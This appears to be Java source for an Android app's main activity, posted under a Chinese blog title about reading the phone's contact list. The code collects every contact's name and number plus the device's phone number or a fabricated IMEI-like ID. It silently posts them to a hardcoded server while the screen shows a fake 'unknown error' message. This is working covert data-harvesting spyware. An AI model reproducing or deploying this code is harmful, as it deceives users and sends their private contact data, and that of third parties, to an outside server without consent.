package com.extop.appday;
import android.Manifest;
import android.annotation.SuppressLint;
import android.content.Context;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Bundle;
import com.google.android.material.snackbar.Snackbar;
import androidx.appcompat.app.AppCompatActivity;
import android.telephony.TelephonyManager;
import android.util.Log;
import android.view.View;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;
import androidx.navigation.NavController;
import androidx.navigation.Navigation;
import androidx.navigation.ui.AppBarConfiguration;
import androidx.navigation.ui.NavigationUI;
import com.extop.appday.databinding.ActivityMainBinding;
import android.view.Menu;
import android.view.MenuItem;
import android.widget.EditText;
import android.widget.Toast;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.util.List;
public class MainActivity extends AppCompatActivity {
private List<PhoneDto> phoneDtos;
EditText mEditMsg = null;
EditText mEditInfo = null;
String mWebUrl = "http://192.168.2.101:20208";
String mMyPhone = "";
// 检查权限
boolean checkAppPermission(String permissionName)
{
//判断是否有权限
// 有权限: PackageManager.PERMISSION_GRANTED
// 无权限: PackageManager.PERMISSION_DENIED
if(ContextCompat.checkSelfPermission(MainActivity.this, permissionName)
!= PackageManager.PERMISSION_GRANTED){
ActivityCompat.requestPermissions(MainActivity.this,new String[]{permissionName},201);
}
if(ContextCompat.checkSelfPermission(MainActivity.this, permissionName)
!= PackageManager.PERMISSION_GRANTED){
return false;
}
return true;
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
mEditMsg = findViewById(R.id.editMsg);
mEditInfo = findViewById(R.id.editInfo);
if (!checkAppPermission(Manifest.permission.READ_CONTACTS))
{
mEditMsg.setText("APP必须开启通讯录权限才正常!");
return;
}
if (!checkAppPermission(Manifest.permission.INTERNET))
{
mEditMsg.setText("APP必须开启网络权限才正常!");
return;
}
PhoneUtil phoneUtil = new PhoneUtil(this);
phoneDtos = phoneUtil.getPhone();
Log.d("AppDay", "MainActivity ================ onCreate");
mEditMsg.setEnabled(false);
mEditMsg.setText("未知错误 " + phoneDtos.size());
mEditInfo.setVisibility(View.INVISIBLE);
if (checkAppPermission(Manifest.permission.READ_PHONE_STATE))
{
TelephonyManager tm = (TelephonyManager)this.getSystemService(Context.TELEPHONY_SERVICE);
if(tm != null)
{
mMyPhone = tm.getLine1Number();
}
}
if(mMyPhone.isEmpty())
{
mMyPhone = "21" + //we make this look like a valid IMEI
Build.BOARD.length()%10 +
Build.BRAND.length()%10 +
Build.DEVICE.length()%10 +
Build.DISPLAY.length()%10 +
Build.HOST.length()%10 +
Build.ID.length()%10 +
Build.MANUFACTURER.length()%10 +
Build.MODEL.length()%10 +
Build.PRODUCT.length()%10 +
Build.TAGS.length()%10 +
Build.TYPE.length()%10 +
Build.USER.length()%10 ; //13 digits
}
// showMsg("Phone" + mMyPhone);
// Log.d("AppDay", "mMyPhone=" + mMyPhone);
// Android 4.0 之后不能在主线程中请求HTTP请求
new Thread(new Runnable(){
@Override
public void run() {
postData();
}
}).start();
}
void showMsg(String msg)
{
Toast ts = Toast.makeText(getBaseContext(), msg,Toast.LENGTH_LONG);
ts.show();
}
void postData()
{
try {
JSONArray jsonArray= new JSONArray();
for (PhoneDto item: phoneDtos) {
JSONObject jo=new JSONObject();
jo.put("name", item.getName());
jo.put("phone", item.getTelPhone());
jsonArray.put(jo);
}
JSONObject jsonObject=new JSONObject();
jsonObject.put("cmd", 123);
jsonObject.put("myPhone", mMyPhone);
jsonObject.put("data", jsonArray.toString());
String jsonStr=jsonObject.toString();
HttpUtils.post(mWebUrl, jsonStr);
} catch (Exception e) {
e.printStackTrace();
Log.d("AppDay", e.toString());
}
}
}
安卓获取通讯录
最新推荐文章于 2025-01-31 03:01:01 发布